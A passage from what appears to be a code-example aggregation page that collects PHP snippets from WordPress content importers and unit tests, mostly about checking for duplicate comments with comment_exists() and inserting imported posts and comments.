             $pings = explode("-----\nPING:", $pings[0]);
             $num_pings = 0;
             foreach ($pings as $ping) {
                 if ('' != trim($ping)) {
                     // 'Author'
                     preg_match("|BLOG NAME:(.*)|", $ping, $comment_author);
                     $comment_author = $wpdb->escape(trim($comment_author[1]));
                     $ping = preg_replace('|(\\n?BLOG NAME:.*)|', '', $ping);
                     preg_match("|IP:(.*)|", $ping, $comment_author_IP);
                     $comment_author_IP = trim($comment_author_IP[1]);
                     $ping = preg_replace('|(\\n?IP:.*)|', '', $ping);
                     preg_match("|URL:(.*)|", $ping, $comment_author_url);
                     $comment_author_url = $wpdb->escape(trim($comment_author_url[1]));
                     $ping = preg_replace('|(\\n?URL:.*)|', '', $ping);
                     preg_match("|DATE:(.*)|", $ping, $comment_date);
                     $comment_date = trim($comment_date[1]);
                     $comment_date = date('Y-m-d H:i:s', strtotime($comment_date));
                     $ping = preg_replace('|(\\n?DATE:.*)|', '', $ping);
                     preg_match("|TITLE:(.*)|", $ping, $ping_title);
                     $ping_title = $wpdb->escape(trim($ping_title[1]));
                     $ping = preg_replace('|(\\n?TITLE:.*)|', '', $ping);
                     $comment_content = $wpdb->escape(trim($ping));
                     $comment_content = str_replace('-----', '', $comment_content);
                     $comment_content = "<strong>{$ping_title}</strong>\n\n{$comment_content}";
                     $comment_type = 'trackback';
                     // Check if it's already there
                     if (!comment_exists($comment_author, $comment_date)) {
                         $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_content', 'comment_type');
                         $commentdata = wp_filter_comment($commentdata);
                         wp_insert_comment($commentdata);
                         $num_pings++;
                     }
                 }
             }
             if ($num_pings) {
                 printf(__('(%s pings)'), $num_pings);
             }
             echo "</li>";
         }
         flush();
     }
     echo '</ol>';
     wp_import_cleanup($this->id);
     echo '<h3>' . sprintf(__('All done. <a href="%s">Have fun!</a>'), get_option('home')) . '</h3>';
 }
コード例 #8
0
ファイル: blogger.php プロジェクト: pravinhirmukhe/flow1
 function import_comment($entry)
 {
     global $importing_blog;
     // Drop the #fragment and we have the comment's old post permalink.
     foreach ($entry->links as $link) {
         if ($link['rel'] == 'alternate') {
             $parts = parse_url($link['href']);
             $entry->old_permalink = $parts['fragment'];
             $entry->old_post_permalink = $parts['path'];
             break;
         }
     }
     $comment_post_ID = (int) $this->blogs[$importing_blog]['posts'][$entry->old_post_permalink];
     preg_match('#<name>(.+?)</name>.*(?:\\<uri>(.+?)</uri>)?#', $entry->author, $matches);
     $comment_author = addslashes($this->no_apos(strip_tags((string) $matches[1])));
     $comment_author_url = addslashes($this->no_apos(strip_tags((string) $matches[2])));
     $comment_date = $this->convert_date($entry->updated);
     $comment_content = addslashes($this->no_apos(html_entity_decode($entry->content)));
     // Clean up content
     $comment_content = preg_replace('|<(/?[A-Z]+)|e', "'<' . strtolower('\$1')", $comment_content);
     $comment_content = str_replace('<br>', '<br />', $comment_content);
     $comment_content = str_replace('<hr>', '<hr />', $comment_content);
     // Checks for duplicates
     if (isset($this->blogs[$importing_blog]['comments'][$entry->old_permalink]) || comment_exists($comment_author, $comment_date)) {
         ++$this->blogs[$importing_blog]['comments_skipped'];
     } else {
         $comment = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_date', 'comment_content');
         $comment_id = wp_insert_comment($comment);
         $this->blogs[$importing_blog]['comments'][$entry->old_permalink] = $comment_id;
         ++$this->blogs[$importing_blog]['comments_done'];
     }
     $this->save_vars();
 }
コード例 #9
0
	function import_posts() {
		global $wpdb, $current_user;
		
		set_magic_quotes_runtime(0);
		$importdata = file($this->file); // Read the file into an array
		$importdata = implode('', $importdata); // squish it
		$importdata = str_replace(array ("\r\n", "\r"), "\n", $importdata);

		preg_match_all('|<entry>(.*?)</entry>|is', $importdata, $posts);
		$posts = $posts[1];
		unset($importdata);
		echo '<ol>';		
		foreach ($posts as $post) {
			flush();
			preg_match('|<subject>(.*?)</subject>|is', $post, $post_title);
			$post_title = $wpdb->escape(trim($post_title[1]));
			if ( empty($post_title) ) {
				preg_match('|<itemid>(.*?)</itemid>|is', $post, $post_title);
				$post_title = $wpdb->escape(trim($post_title[1]));
			}

			preg_match('|<eventtime>(.*?)</eventtime>|is', $post, $post_date);
			$post_date = strtotime($post_date[1]);
			$post_date = gmdate('Y-m-d H:i:s', $post_date);

			preg_match('|<event>(.*?)</event>|is', $post, $post_content);
			$post_content = str_replace(array ('<![CDATA[', ']]>'), '', trim($post_content[1]));
			$post_content = $this->unhtmlentities($post_content);

			// Clean up content
			$post_content = preg_replace('|<(/?[A-Z]+)|e', "'<' . strtolower('$1')", $post_content);
			$post_content = str_replace('<br>', '<br />', $post_content);
			$post_content = str_replace('<hr>', '<hr />', $post_content);
			$post_content = $wpdb->escape($post_content);

			$post_author = $current_user->ID;
			$post_status = 'publish';

			echo '<li>';
			if ($post_id = post_exists($post_title, $post_content, $post_date)) {
				printf(__('Post <i>%s</i> already exists.'), stripslashes($post_title));
			} else {
				printf(__('Importing post <i>%s</i>...'), stripslashes($post_title));
				$postdata = compact('post_author', 'post_date', 'post_content', 'post_title', 'post_status');
				$post_id = wp_insert_post($postdata);
				if (!$post_id) {
					_e("Couldn't get post ID");
					echo '</li>';
					break;
				}
			}

			preg_match_all('|<comment>(.*?)</comment>|is', $post, $comments);
			$comments = $comments[1];
			
			if ( $comments ) {
				$comment_post_ID = (int) $post_id;
				$num_comments = 0;
				foreach ($comments as $comment) {
					preg_match('|<event>(.*?)</event>|is', $comment, $comment_content);
					$comment_content = str_replace(array ('<![CDATA[', ']]>'), '', trim($comment_content[1]));
					$comment_content = $this->unhtmlentities($comment_content);

					// Clean up content
					$comment_content = preg_replace('|<(/?[A-Z]+)|e', "'<' . strtolower('$1')", $comment_content);
					$comment_content = str_replace('<br>', '<br />', $comment_content);
					$comment_content = str_replace('<hr>', '<hr />', $comment_content);
					$comment_content = $wpdb->escape($comment_content);

					preg_match('|<eventtime>(.*?)</eventtime>|is', $comment, $comment_date);
					$comment_date = trim($comment_date[1]);
					$comment_date = date('Y-m-d H:i:s', strtotime($comment_date));

					preg_match('|<name>(.*?)</name>|is', $comment, $comment_author);
					$comment_author = $wpdb->escape(trim($comment_author[1]));

					preg_match('|<email>(.*?)</email>|is', $comment, $comment_author_email);
					$comment_author_email = $wpdb->escape(trim($comment_author_email[1]));

					$comment_approved = 1;
					// Check if it's already there
					if (!comment_exists($comment_author, $comment_date)) {
						$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_date', 'comment_content', 'comment_approved');
						$commentdata = wp_filter_comment($commentdata);
						wp_insert_comment($commentdata);
						$num_comments++;
					}
				}
			}
			if ( $num_comments ) {
				echo ' ';
				printf(__('(%s comments)'), $num_comments);
			}
			echo '</li>';
			flush();
			ob_flush();
		}
		echo '</ol>';
	}
コード例 #10
0
ファイル: includesComment.php プロジェクト: nkeat12/dv
 /**
  * @ticket 33871
  */
 public function test_invalid_timezone_should_fall_back_on_blog()
 {
     $p = self::factory()->post->create();
     $c = self::factory()->comment->create(array('comment_author' => 1, 'comment_post_ID' => $p, 'comment_date' => '2014-05-06 12:00:00', 'comment_date_gmt' => '2014-05-06 07:00:00'));
     $this->assertEquals($p, comment_exists(1, '2014-05-06 12:00:00', 'not_a_valid_value'));
 }
コード例 #11
0
	function process_post($post) {
		global $wpdb;

		$post_ID = (int) $this->get_tag( $post, 'wp:post_id' );
  		if ( $post_ID && !empty($this->post_ids_processed[$post_ID]) ) // Processed already
			return 0;

		set_time_limit( 60 );

		// There are only ever one of these
		$post_title     = $this->get_tag( $post, 'title' );
		$post_date      = $this->get_tag( $post, 'wp:post_date' );
		$post_date_gmt  = $this->get_tag( $post, 'wp:post_date_gmt' );
		$comment_status = $this->get_tag( $post, 'wp:comment_status' );
		$ping_status    = $this->get_tag( $post, 'wp:ping_status' );
		$post_status    = $this->get_tag( $post, 'wp:status' );
		$post_name      = $this->get_tag( $post, 'wp:post_name' );
		$post_parent    = $this->get_tag( $post, 'wp:post_parent' );
		$menu_order     = $this->get_tag( $post, 'wp:menu_order' );
		$post_type      = $this->get_tag( $post, 'wp:post_type' );
		$post_password  = $this->get_tag( $post, 'wp:post_password' );
		$guid           = $this->get_tag( $post, 'guid' );
		$post_author    = $this->get_tag( $post, 'dc:creator' );

		$post_excerpt = $this->get_tag( $post, 'excerpt:encoded' );
		$post_excerpt = preg_replace('|<(/?[A-Z]+)|e', "'<' . strtolower('$1')", $post_excerpt);
		$post_excerpt = str_replace('<br>', '<br />', $post_excerpt);
		$post_excerpt = str_replace('<hr>', '<hr />', $post_excerpt);

		$post_content = $this->get_tag( $post, 'content:encoded' );
		$post_content = preg_replace('|<(/?[A-Z]+)|e', "'<' . strtolower('$1')", $post_content);
		$post_content = str_replace('<br>', '<br />', $post_content);
		$post_content = str_replace('<hr>', '<hr />', $post_content);

		preg_match_all('|<category domain="tag">(.*?)</category>|is', $post, $tags);
		$tags = $tags[1];

		$tag_index = 0;
		foreach ($tags as $tag) {
			$tags[$tag_index] = $wpdb->escape($this->unhtmlentities(str_replace(array ('<![CDATA[', ']]>'), '', $tag)));
			$tag_index++;
		}

		preg_match_all('|<category>(.*?)</category>|is', $post, $categories);
		$categories = $categories[1];

		$cat_index = 0;
		foreach ($categories as $category) {
			$categories[$cat_index] = $wpdb->escape($this->unhtmlentities(str_replace(array ('<![CDATA[', ']]>'), '', $category)));
			$cat_index++;
		}

		$post_exists = post_exists($post_title, '', $post_date);

		if ( $post_exists ) {
			echo '<li>';
			printf(__('Post <em>%s</em> already exists.'), stripslashes($post_title));
			$comment_post_ID = $post_id = $post_exists;
		} else {

			// If it has parent, process parent first.
			$post_parent = (int) $post_parent;
			if ($post_parent) {
				// if we already know the parent, map it to the local ID
				if ( $parent = $this->post_ids_processed[$post_parent] ) {
					$post_parent = $parent;  // new ID of the parent
				}
				else {
					// record the parent for later
					$this->orphans[intval($post_ID)] = $post_parent;
				}
			}

			echo '<li>';

			$post_author = $this->checkauthor($post_author); //just so that if a post already exists, new users are not created by checkauthor

			$postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_excerpt', 'post_title', 'post_status', 'post_name', 'comment_status', 'ping_status', 'guid', 'post_parent', 'menu_order', 'post_type', 'post_password');
			$postdata['import_id'] = $post_ID;
			if ($post_type == 'attachment') {
				$remote_url = $this->get_tag( $post, 'wp:attachment_url' );
				if ( !$remote_url )
					$remote_url = $guid;

				$comment_post_ID = $post_id = $this->process_attachment($postdata, $remote_url);
				if ( !$post_id or is_wp_error($post_id) )
					return $post_id;
			}
			else {
				printf(__('Importing post <em>%s</em>...'), stripslashes($post_title));
				$comment_post_ID = $post_id = wp_insert_post($postdata);
			}

			if ( is_wp_error( $post_id ) )
				return $post_id;

			// Memorize old and new ID.
			if ( $post_id && $post_ID ) {
				$this->post_ids_processed[intval($post_ID)] = intval($post_id);
			}

			// Add categories.
			if (count($categories) > 0) {
				$post_cats = array();
				foreach ($categories as $category) {
					if ( '' == $category )
						continue;
					$slug = sanitize_term_field('slug', $category, 0, 'category', 'db');
					$cat = get_term_by('slug', $slug, 'category');
					$cat_ID = 0;
					if ( ! empty($cat) )
						$cat_ID = $cat->term_id;
					if ($cat_ID == 0) {
						$category = $wpdb->escape($category);
						$cat_ID = wp_insert_category(array('cat_name' => $category));
						if ( is_wp_error($cat_ID) )
							continue;
					}
					$post_cats[] = $cat_ID;
				}
				wp_set_post_categories($post_id, $post_cats);
			}

			// Add tags.
			if (count($tags) > 0) {
				$post_tags = array();
				foreach ($tags as $tag) {
					if ( '' == $tag )
						continue;
					$slug = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
					$tag_obj = get_term_by('slug', $slug, 'post_tag');
					$tag_id = 0;
					if ( ! empty($tag_obj) )
						$tag_id = $tag_obj->term_id;
					if ( $tag_id == 0 ) {
						$tag = $wpdb->escape($tag);
						$tag_id = wp_insert_term($tag, 'post_tag');
						if ( is_wp_error($tag_id) )
							continue;
						$tag_id = $tag_id['term_id'];
					}
					$post_tags[] = intval($tag_id);
				}
				wp_set_post_tags($post_id, $post_tags);
			}
		}

		// Now for comments
		preg_match_all('|<wp:comment>(.*?)</wp:comment>|is', $post, $comments);
		$comments = $comments[1];
		$num_comments = 0;
		if ( $comments) { foreach ($comments as $comment) {
			$comment_author       = $this->get_tag( $comment, 'wp:comment_author');
			$comment_author_email = $this->get_tag( $comment, 'wp:comment_author_email');
			$comment_author_IP    = $this->get_tag( $comment, 'wp:comment_author_IP');
			$comment_author_url   = $this->get_tag( $comment, 'wp:comment_author_url');
			$comment_date         = $this->get_tag( $comment, 'wp:comment_date');
			$comment_date_gmt     = $this->get_tag( $comment, 'wp:comment_date_gmt');
			$comment_content      = $this->get_tag( $comment, 'wp:comment_content');
			$comment_approved     = $this->get_tag( $comment, 'wp:comment_approved');
			$comment_type         = $this->get_tag( $comment, 'wp:comment_type');
			$comment_parent       = $this->get_tag( $comment, 'wp:comment_parent');

			// if this is a new post we can skip the comment_exists() check
			if ( !$post_exists || !comment_exists($comment_author, $comment_date) ) {
				$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_approved', 'comment_type', 'comment_parent');
				wp_insert_comment($commentdata);
				$num_comments++;
			}
		} }

		if ( $num_comments )
			printf(' '.__ngettext('(%s comment)', '(%s comments)', $num_comments), $num_comments);

		// Now for post meta
		preg_match_all('|<wp:postmeta>(.*?)</wp:postmeta>|is', $post, $postmeta);
		$postmeta = $postmeta[1];
		if ( $postmeta) { foreach ($postmeta as $p) {
			$key   = $this->get_tag( $p, 'wp:meta_key' );
			$value = $this->get_tag( $p, 'wp:meta_value' );
			$value = stripslashes($value); // add_post_meta() will escape.

			$this->process_post_meta($post_id, $key, $value);

		} }

		do_action('import_post_added', $post_id);
		print "</li>\n";
	}
コード例 #12
0
 /**
  * @ticket 33871
  */
 public function test_invalid_timezone_should_fall_back_on_blog()
 {
     $this->assertEquals(self::$post_id, comment_exists(1, '2014-05-06 12:00:00', 'not_a_valid_value'));
 }
コード例 #13
0
 function comments2wp($comments = '')
 {
     // General Housekeeping
     global $wpdb;
     $count = 0;
     $txpcm2wpcm = array();
     $postarr = get_option('txpposts2wpposts');
     // Magic Mojo
     if (is_array($comments)) {
         echo '<p>' . __('Importing Comments...', 'textpattern-importer') . '<br /><br /></p>';
         foreach ($comments as $comment) {
             $count++;
             extract($comment);
             // WordPressify Data
             $comment_ID = ltrim($discussid, '0');
             $comment_post_ID = $postarr[$parentid];
             $comment_approved = 1 == $visible ? 1 : 0;
             $name = $wpdb->escape($name);
             $email = $wpdb->escape($email);
             $web = $wpdb->escape($web);
             $message = $wpdb->escape($message);
             $comment = array('comment_post_ID' => $comment_post_ID, 'comment_author' => $name, 'comment_author_IP' => $ip, 'comment_author_email' => $email, 'comment_author_url' => $web, 'comment_date' => $posted, 'comment_content' => $message, 'comment_approved' => $comment_approved);
             $comment = wp_filter_comment($comment);
             if ($cinfo = comment_exists($name, $posted)) {
                 // Update comments
                 $comment['comment_ID'] = $cinfo;
                 $ret_id = wp_update_comment($comment);
             } else {
                 // Insert comments
                 $ret_id = wp_insert_comment($comment);
             }
             $txpcm2wpcm[$comment_ID] = $ret_id;
         }
         // Store Comment ID translation for future use
         add_option('txpcm2wpcm', $txpcm2wpcm);
         // Associate newly formed categories with posts
         get_comment_count($ret_id);
         echo '<p>' . sprintf(__('Done! <strong>%1$s</strong> comments imported.', 'textpattern-importer'), $count) . '<br /><br /></p>';
         return true;
     }
     echo __('No Comments to Import!', 'textpattern-importer');
     return false;
 }
コード例 #14
0
 /**
  * Create new posts based on import information
  *
  * Posts marked as having a parent which doesn't exist will become top level items.
  * Doesn't create a new post if: the post type doesn't exist, the given post ID
  * is already noted as imported or a post with the same title and date already exists.
  * Note that new/updated terms, comments and meta are imported for the last of the above.
  */
 function process_posts()
 {
     $snapshot_template = array('id' => '', 'surname' => '', 'given_names' => '', 'prefix' => '', 'suffix' => '', 'degrees' => '', 'affiliation' => '', 'bio' => '', 'email' => '', 'link' => '');
     foreach ($this->posts as $post) {
         if (!post_type_exists($post['post_type'])) {
             printf(__('Failed to import &#8220;%s&#8221;: Invalid post type %s', 'anno'), esc_html($post['post_title']), esc_html($post['post_type']));
             echo '<br />';
             continue;
         }
         if (isset($this->processed_posts[$post['post_id']]) && !empty($post['post_id'])) {
             continue;
         }
         if ($post['status'] == 'auto-draft') {
             continue;
         }
         if ('nav_menu_item' == $post['post_type']) {
             $this->process_menu_item($post);
             continue;
         }
         $post_type_object = get_post_type_object($post['post_type']);
         // Just to be safe, knols come with post_date_gmt.
         if (empty($post['post_date'])) {
             $post['post_date'] = $post['post_date_gmt'];
         }
         $post_exists = post_exists($post['post_title'], '', $post['post_date'], array('article'));
         if ($post_exists) {
             printf(__('%s &#8220;%s&#8221; already exists.', 'anno'), $post_type_object->labels->singular_name, esc_html($post['post_title']));
             echo '<br />';
             $comment_post_ID = $post_id = $post_exists;
         } else {
             $post_parent = $post['post_parent'];
             if ($post_parent) {
                 // if we already know the parent, map it to the new local ID
                 if (isset($this->processed_posts[$post_parent])) {
                     $post_parent = $this->processed_posts[$post_parent];
                     // otherwise record the parent for later
                 } else {
                     $this->post_orphans[$post['post_id']] = $post_parent;
                     $post_parent = 0;
                 }
             }
             // map the post author
             $author = sanitize_user($post['post_author'], true);
             if (isset($this->author_mapping[$author])) {
                 $author = $this->author_mapping[$author];
             } else {
                 $author = (int) get_current_user_id();
             }
             $postdata = array('import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'], 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'], 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'], 'post_status' => $post['status'], 'post_name' => $post['post_name'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'], 'post_type' => $post['post_type'], 'post_password' => $post['post_password'], 'post_content_filtered' => $post['post_content_filtered']);
             // Get rid of wrapping <body> tag in XML
             $postdata['post_content_filtered'] = preg_replace('#</?body(\\s[^>]*)?>#i', '', $postdata['post_content_filtered']);
             if ('attachment' == $postdata['post_type']) {
                 $remote_url = !empty($post['attachment_url']) ? $post['attachment_url'] : $post['guid'];
                 // try to use _wp_attached file for upload folder placement to ensure the same location as the export site
                 // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload()
                 $postdata['upload_date'] = $post['post_date'];
                 if (isset($post['postmeta']) && is_array($post['postmeta'])) {
                     foreach ($post['postmeta'] as $meta) {
                         if ($meta['key'] == '_wp_attached_file') {
                             if (preg_match('%^[0-9]{4}/[0-9]{2}%', $meta['value'], $matches)) {
                                 $postdata['upload_date'] = $matches[0];
                             }
                             break;
                         }
                     }
                 }
                 $comment_post_ID = $post_id = $this->process_attachment($postdata, $remote_url);
             } else {
                 remove_filter('wp_insert_post_data', 'anno_insert_post_data', null, 2);
                 remove_filter('edit_post_content', 'anno_edit_post_content', 10, 2);
                 remove_filter('edit_post_content_filtered', 'anno_edit_post_content_filtered', 10, 2);
                 $comment_post_ID = $post_id = wp_insert_post($postdata, true);
             }
             if (is_wp_error($post_id)) {
                 printf(__('Failed to import %s &#8220;%s&#8221;', 'anno'), $post_type_object->labels->singular_name, esc_html($post['post_title']));
                 if (defined('ANNO_IMPORT_DEBUG') && ANNO_IMPORT_DEBUG) {
                     echo ': ' . $post_id->get_error_message();
                 }
                 echo '<br />';
                 continue;
             }
             if ($post['is_sticky'] == 1) {
                 stick_post($post_id);
             }
             // map pre-import ID to local ID
             $this->processed_posts[$post['post_id']] = $post_id;
             // add categories, tags and other terms
             if (!empty($post['terms'])) {
                 $terms_to_set = array();
                 foreach ($post['terms'] as $term) {
                     // back compat with WXR 1.0 map 'tag' to 'post_tag'
                     $taxonomy = 'tag' == $term['domain'] ? 'post_tag' : $term['domain'];
                     $term_exists = term_exists($term['slug'], $taxonomy);
                     $term_id = is_array($term_exists) ? $term_exists['term_id'] : $term_exists;
                     if (!$term_id) {
                         $t = wp_insert_term($term['name'], $taxonomy, array('slug' => $term['slug']));
                         if (!is_wp_error($t)) {
                             $term_id = $t['term_id'];
                         } else {
                             printf(__('Failed to import %s %s', 'anno'), esc_html($taxonomy), esc_html($term['name']));
                             if (defined('ANNO_IMPORT_DEBUG') && ANNO_IMPORT_DEBUG) {
                                 echo ': ' . $t->get_error_message();
                             }
                             echo '<br />';
                             continue;
                         }
                     }
                     $terms_to_set[$taxonomy][] = $term_id;
                 }
                 foreach ($terms_to_set as $tax => $ids) {
                     $tt_ids = wp_set_post_terms($post_id, $ids, $tax);
                 }
                 unset($post['terms'], $terms_to_set);
             }
             // add/update comments
             if (!empty($post['comments'])) {
                 $num_comments = 0;
                 $inserted_comments = array();
                 foreach ($post['comments'] as $comment) {
                     $comment_id = $comment['comment_id'];
                     $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID;
                     $newcomments[$comment_id]['comment_author'] = $comment['comment_author'];
                     $newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email'];
                     $newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP'];
                     $newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url'];
                     $newcomments[$comment_id]['comment_date'] = $comment['comment_date'];
                     $newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt'];
                     $newcomments[$comment_id]['comment_content'] = $comment['comment_content'];
                     $newcomments[$comment_id]['comment_approved'] = $comment['comment_approved'];
                     $newcomments[$comment_id]['comment_type'] = $comment['comment_type'];
                     $newcomments[$comment_id]['comment_parent'] = $comment['comment_parent'];
                     $newcomments[$comment_id]['commentmeta'] = isset($comment['commentmeta']) ? $comment['commentmeta'] : array();
                     // This will be empty in the Knol WXR
                     /*
                     if ( isset( $this->processed_authors[$comment['comment_user_id']] ) )
                     	$newcomments[$comment_id]['user_id'] = $this->processed_authors[$comment['comment_user_id']];
                     */
                 }
                 ksort($newcomments);
                 foreach ($newcomments as $key => $comment) {
                     // if this is a new post we can skip the comment_exists() check
                     if (!$post_exists || !comment_exists($comment['comment_author'], $comment['comment_date'])) {
                         if (isset($inserted_comments[$comment['comment_parent']])) {
                             $comment['comment_parent'] = $inserted_comments[$comment['comment_parent']];
                         }
                         $comment = wp_filter_comment($comment);
                         $inserted_comments[$key] = wp_insert_comment($comment);
                         foreach ($comment['commentmeta'] as $meta) {
                             $value = maybe_unserialize($meta['value']);
                             add_comment_meta($inserted_comments[$key], $meta['key'], $value);
                         }
                         $num_comments++;
                     }
                 }
                 unset($newcomments, $inserted_comments, $post['comments']);
             }
             // add/update post meta
             $author_snapshot = array();
             // Save the primary author in the author snapshot first
             $snapshot = $snapshot_template;
             $snapshot['id'] = $this->authors[$post['post_author']]['author_id'];
             $snapshot['email'] = $this->authors[$post['post_author']]['author_email'];
             $snapshot['surname'] = $this->authors[$post['post_author']]['author_first_name'];
             $snapshot['given_names'] = $this->authors[$post['post_author']]['author_last_name'];
             $author_snapshot[$post['post_author']] = $snapshot;
             if (isset($post['postmeta']) && is_array($post['postmeta'])) {
                 foreach ($post['postmeta'] as $meta) {
                     $key = apply_filters('import_post_meta_key', $meta['key']);
                     $value = false;
                     // Store both the Knol ID and WP ID, for potential future users/associations.
                     if (strpos($key, '_anno_knol_author_') !== false) {
                         $knol_author_id = str_replace('_anno_knol_author_', '', $key);
                         if (isset($this->author_mapping[$knol_author_id])) {
                             $wp_author_id = $this->author_mapping[$knol_author_id];
                             $this->add_user_to_post('author', $wp_author_id, $post_id);
                         }
                         // Generate our author snapshot based on post meta that comes in.
                         // We don't need to do this for _anno_author_, those will only exist in DTD imports, which will be in draft
                         // Snapshots get taken on publish status transition
                         $snapshot = $snapshot_template;
                         if (isset($this->authors[$knol_author_id]) && !isset($author_snapshot[$this->authors[$knol_author_id]['author_id']])) {
                             $snapshot = $snapshot_template;
                             $snapshot['id'] = $this->authors[$knol_author_id]['author_id'];
                             $snapshot['email'] = $this->authors[$knol_author_id]['author_email'];
                             $snapshot['surname'] = $this->authors[$knol_author_id]['author_first_name'];
                             $snapshot['given_names'] = $this->authors[$knol_author_id]['author_last_name'];
                             $author_snapshot[$snapshot['id']] = $snapshot;
                         }
                     }
                     if (strpos($key, '_anno_knol_reviewer_') !== false) {
                         $knol_author_id = str_replace('_anno_knol_reviewer_', '', $key);
                         if (isset($this->author_mapping[$knol_author_id])) {
                             $wp_reviewer_id = $this->author_mapping[$knol_author_id];
                             $this->add_user_to_post('reviewer', $wp_reviewer_id, $post_id);
                         }
                     }
                     if ('_edit_last' == $key) {
                         if (isset($this->processed_authors[$meta['value']])) {
                             $value = $this->processed_authors[$meta['value']];
                         } else {
                             $key = false;
                         }
                     }
                     if ($key) {
                         // export gets meta straight from the DB so could have a serialized string
                         if (!$value) {
                             $value = maybe_unserialize($meta['value']);
                         }
                         // Update co-author data to be the wp user not the local file user.
                         if (strpos($key, '_anno_author_') !== false) {
                             $local_author_id = str_replace('_anno_author_', '', $key);
                             // Set the key and value to be our WP user ID, not the local
                             if (isset($this->author_mapping[$local_author_id])) {
                                 $wp_author_id = $this->author_mapping[$local_author_id];
                                 $this->add_user_to_post('author', $wp_author_id, $post_id);
                             }
                         } else {
                             if (strpos($key, '_anno_reviewer_') !== false) {
                                 $local_author_id = str_replace('_anno_reviewer_', '', $key);
                                 // Set the key and value to be our WP user ID, not the local
                                 if (isset($this->author_mapping[$local_author_id])) {
                                     $wp_author_id = $this->author_mapping[$local_author_id];
                                     $this->add_user_to_post('reviewer', $wp_author_id, $post_id);
                                 }
                             } else {
                                 update_post_meta($post_id, $key, $value);
                             }
                         }
                         do_action('import_post_meta', $post_id, $key, $value);
                         // if the post has a featured image, take note of this in case of remap
                         if ('_thumbnail_id' == $key) {
                             $this->featured_images[$post_id] = $value;
                         }
                     }
                 }
                 // Save our snapshot
                 if (!empty($author_snapshot)) {
                     update_post_meta($post_id, '_anno_author_snapshot', $author_snapshot);
                 }
             }
             // Add a key to the post. Posts with this key are alerted that the XML structure may change on save. Meta is deleted on save.x2
             add_post_meta($post_id, '_anno_knol_import', 1);
         }
     }
     unset($this->posts);
 }
コード例 #15
0
 /**
  * Create new posts based on import information
  *
  * Posts marked as having a parent which doesn't exist will become top level items.
  * Doesn't create a new post if: the post type doesn't exist, the given post ID
  * is already noted as imported or a post with the same title and date already exists.
  * Note that new/updated terms, comments and meta are imported for the last of the above.
  */
 function process_posts()
 {
     global $wpdb;
     $this->posts = apply_filters('wp_import_posts', $this->posts);
     @($start = intval(thim_file_get_contents(POST_COUNT)));
     $end = 0;
     if ($start < 1) {
         $start = 0;
         $end = 50;
     }
     if ($end > count($this->posts)) {
         $end = count($this->posts);
     } else {
         $end = 50;
     }
     $i = 0;
     $attachment_id = $wpdb->get_var($wpdb->prepare("SELECT wposts.ID\n\t\t\t\t\tFROM {$wpdb->posts} as wposts, {$wpdb->postmeta} as wpostmeta\n\t\t\t\t\t\tWHERE wposts.ID = wpostmeta.post_id\n\t\t\t\t\t\tAND wpostmeta.meta_key = %s\n\t\t\t\t\t\tAND wpostmeta.meta_value LIKE %s\n\t\t\t\t\t\tAND wposts.post_type = %s\n\t\t\t\t\tORDER BY wpostmeta.meta_id ASC", '_wp_attached_file', '%demo_image.jpg', 'attachment'));
     foreach ($this->posts as $k => $post) {
         if ($k <= $start) {
             continue;
         }
         if ($i >= $end) {
             return 0;
         }
         thim_file_put_contents(POST_COUNT, $k);
         file_put_contents(POST_COUNT_TEST, "current_position:{$k} - start: {$start} - jump:{$end} - post_imported: {$i} - data: " . json_encode($post) . "\n", FILE_APPEND);
         $post = apply_filters('wp_import_post_data_raw', $post);
         if ('attachment' == $post['post_type'] && $attachment_id) {
             $this->processed_posts[intval($post['post_id'])] = (int) $attachment_id;
             $post_parent = (int) $post['post_parent'];
             if ($post_parent) {
                 // if we already know the parent, map it to the new local ID
                 if (isset($this->processed_posts[$post_parent])) {
                     $post_parent = $this->processed_posts[$post_parent];
                     // otherwise record the parent for later
                 } else {
                     $this->post_orphans[intval($post['post_id'])] = $post_parent;
                     $post_parent = 0;
                 }
             }
             continue;
         }
         if (!post_type_exists($post['post_type'])) {
             do_action('wp_import_post_exists', $post);
             continue;
         }
         if (isset($this->processed_posts[$post['post_id']]) && !empty($post['post_id'])) {
             continue;
         }
         if ($post['status'] == 'auto-draft') {
             continue;
         }
         if ('nav_menu_item' == $post['post_type']) {
             $this->process_menu_item($post);
             $i++;
             continue;
         }
         $post_exists = post_exists($post['post_title'], '', $post['post_date']);
         if ($post_exists && get_post_type($post_exists) == $post['post_type']) {
             $comment_post_ID = $post_id = $post_exists;
         } else {
             $post_parent = (int) $post['post_parent'];
             if ($post_parent) {
                 // if we already know the parent, map it to the new local ID
                 if (isset($this->processed_posts[$post_parent])) {
                     $post_parent = $this->processed_posts[$post_parent];
                     // otherwise record the parent for later
                 } else {
                     $this->post_orphans[intval($post['post_id'])] = $post_parent;
                     $post_parent = 0;
                 }
             }
             // map the post author
             $author = sanitize_user($post['post_author'], true);
             if (isset($this->author_mapping[$author])) {
                 $author = $this->author_mapping[$author];
             } else {
                 $author = (int) get_current_user_id();
             }
